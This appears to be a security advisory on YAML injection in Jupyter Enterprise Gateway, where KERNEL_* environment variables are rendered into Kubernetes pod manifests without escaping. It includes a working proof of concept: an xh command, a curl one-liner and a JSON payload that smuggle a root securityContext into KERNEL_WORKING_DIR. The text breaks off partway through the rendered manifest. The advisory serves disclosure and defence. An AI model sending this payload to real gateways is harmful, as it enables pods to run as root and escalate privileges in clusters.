Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering
Summary
The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like securityContext and inject multi-document YAML to create additional unintended Kubernetes resources.
Details
The server interpolates untrusted environment variables (e.g., KERNEL_XXX) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate securityContext keys, where the last one prevails), and inject document boundaries (--- for new documents, ... for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.
The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, such as kernel_working_dir that are used when rendering the manifest and are all vectors for YAML injection.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77
These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.
https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137
PoC
These proof of concepts are injecting in the KERNEL_WORKING_DIR env var, but any of the env vars could have been used.
By default, the KERNEL_WORKING_DIR will be ignored unless EG_MIRROR_WORKING_DIRS is truthy for the enterprise-gateway. This is controlled by the mirrorWorkingDirs value in the Helm chart.
Using ducaale/xh:
```bash
xh http://localhost:31529/api/kernels env:[email protected]
```
env-working-dir-exploit.yaml:
```json
{
"KERNEL_POD_NAME": "working-dir-root",
"KERNEL_NAMESPACE": "notebooks",
"KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""
}
```
Resulting request:
```
POST /api/kernels HTTP/1.1
Accept: application/json, */*;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 233
Content-Type: application/json
Host: localhost:31529
User-Agent: xh/0.24.0
{
"env": {
"KERNEL_POD_NAME": "working-dir-root",
"KERNEL_NAMESPACE": "notebooks",
"KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""
}
}
```
Curl equivalent command:
```bash
curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}'
```
The rendered Jinja2 template:
```yaml
# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.
# Substitution parameters are processed by the launch_kubernetes.py code located in the
# same directory. Some values are factory values, while others (typically prefixed with 'kernel_') can be
# provided by the client.
#
# This file can be customized as needed. No changes are required to launch_kubernetes.py provided kernel_
# values are used - which be automatically set from corresponding KERNEL_ env values. Updates will be required
# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.
#
apiVersion: v1
kind: Pod
metadata:
name: "working-dir-root"
namespace: "notebooks"
labels:
kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927"
app: enterprise-gateway
component: kernel
source: kernel-pod.yaml
annotations:
cluster-autoscaler.kubernetes.io/safe-to-evict: "false"
spec:
restartPolicy: Never
serviceAccountName: "default"
# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.
# WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate
# will result in the new kernel pod's effective group of 0 (root)! although the user will
# correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate
# should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so
# that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the
# "kernel_uid" and "kernel_gid" values.
securityContext:
runAsUser: 1000
runAsGroup: 100
fsGroup: 100
containers:
- image: "elyra/kernel-py:3.2.3"
name: "working-dir-root"
env:
# Add any custom envs here that aren't already configured f
